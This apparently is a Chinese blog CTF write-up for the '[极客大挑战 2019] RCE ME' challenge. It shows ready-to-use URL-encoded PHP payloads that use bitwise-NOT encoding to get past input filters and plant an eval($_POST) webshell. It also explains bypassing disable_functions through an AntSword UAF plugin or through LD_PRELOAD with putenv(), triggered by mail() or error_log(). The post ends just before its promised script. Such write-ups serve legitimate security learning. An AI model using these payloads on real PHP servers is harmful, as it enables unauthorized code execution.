您当前的位置: 首页 > 

Snakin_ya

暂无认证

  • 1浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

从一道题学习LD_PRELOAD & putenv()

Snakin_ya 发布时间:2021-10-09 13:19:12 ,浏览量:1

[极客大挑战 2019]RCE ME 题目分析

绕过正则,有长度限制,考虑取反绕过,先看看php配置

echo urlencode(~'phpinfo');      //%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();

过滤了很多函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

传马

$a = 'assert';
echo urlencode(~$a);
echo "";

$b ='(eval($_POST[1]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

连接蚁剑,目录中有flagreadflag两个文件,猜测通过执行/readflag得到,但命令执行函数都被过滤,这里需要绕过disable_functions

方法1

使用蚁剑绕过disable_functions插件,刚好有php7的UAF

image-20211009000623677

进入虚拟终端后执行/readflag即可

方法2

刚刚那个是非预期嗷,预期呢!

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。这其实也是蚁剑插件的原理之一。

那我们就来学习一波:

LD_PRELOAD与putenv 链接

程序的链接主要有以下三种:

  1. 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  2. 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  3. 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD的定义:

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

LD_PRELOAD 是Linux的环境变量,它允许你定义在程序运行前优先加载的动态链接库。通过这个环境变量,我们可以加载别的动态链接库,用恶意函数覆盖正常函数。

在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的。

利用原理

mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。

  • mail函数在运行时,会启动子进程来调用系统的sendmail
  • error_log函数当第二个参数为1时,同样会启动子进程来调用系统的sendmail
  • ImageMagick函数调用时,也会调用外部程序去处理指定格式文件
蚁剑插件的实现

蚁剑插件能实现的必要条件:

  1. mail()函数和error_log()函数所调用的sendmail已安装,例如apt-get install sendmail
  2. 不限制 /usr/sbin/sendmail 的执行
  3. mail()函数和error_log()函数有一个未被禁用
  4. LD_PRELOAD,即Linux环境下

在插件中,该原理脚本如下:

            
关注
打赏
1650510800
查看更多评论
0.0383s